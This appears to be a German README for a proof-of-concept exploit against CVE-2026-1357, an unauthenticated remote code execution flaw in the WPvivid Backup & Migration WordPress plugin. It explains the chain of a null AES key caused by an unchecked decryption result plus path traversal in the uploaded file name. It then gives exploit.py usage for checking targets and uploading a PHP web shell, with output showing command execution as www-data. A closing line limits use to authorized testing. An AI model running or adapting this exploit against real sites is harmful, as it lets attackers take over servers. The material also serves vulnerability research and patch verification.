
CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Nicht authentifizierter RCE-Exploit
| Feld | Wert |
|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (Kritisch) |
| Plugin | WPvivid Backup & Migration |
| Betroffen | ≤ 0.9.123 |
| Behoben | 0.9.124 |
| Entdeckt von | Lucas Montes (NiRoX) |
| PoC von | halilkirazkaya |
Das Plugin WPvivid Backup & Migration (≤ 0.9.123) enthält eine kritische Schwachstelle, die es einem nicht authentifizierten Angreifer ermöglicht, beliebige PHP-Dateien auf den Server hochzuladen, was zu Remote Code Execution (RCE) führt.
Die Exploit-Kette kombiniert zwei Fehler:
Das Plugin behandelt Remote-Backup-Übertragungen über den Hook wpvivid_action=send_to_site. Beim Entschlüsseln des Sitzungsschlüssels gibt openssl_private_decrypt() für einen fehlerhaften RSA-Schlüssel false zurück. Das Plugin prüft diesen Rückgabewert nicht und übergibt false an Crypt_Rijndael von phpseclib v1, das dies als 16-Byte-Nullschlüssel (\x00 × 16) mit CBC-Modus und Null-IV behandelt.
Der Parameter name in der entschlüsselten JSON-Nutzlast wird nicht bereinigt. Ein Angreifer kann ../-Sequenzen verwenden, um eine PHP-Datei außerhalb des eingeschränkten Backup-Verzeichnisses in das öffentlich zugängliche Verzeichnis wp-content/uploads/ zu schreiben.
Der wpvivid_api_token muss in den Plugin-Einstellungen erzeugt worden sein und darf nicht abgelaufen sein.
Laden Sie WPvivid Backup & Migration v0.9.123 (verwundbare Version) herunter und entpacken Sie es:
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
Dadurch wird das Verzeichnis wpvivid-backuprestore/ erstellt, das über docker-compose.yml in den Docker-Container eingebunden wird.
docker compose up -d
http://localhost und schließen Sie die WordPress-Installation ab.pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Verwenden Sie es verantwortungsvoll.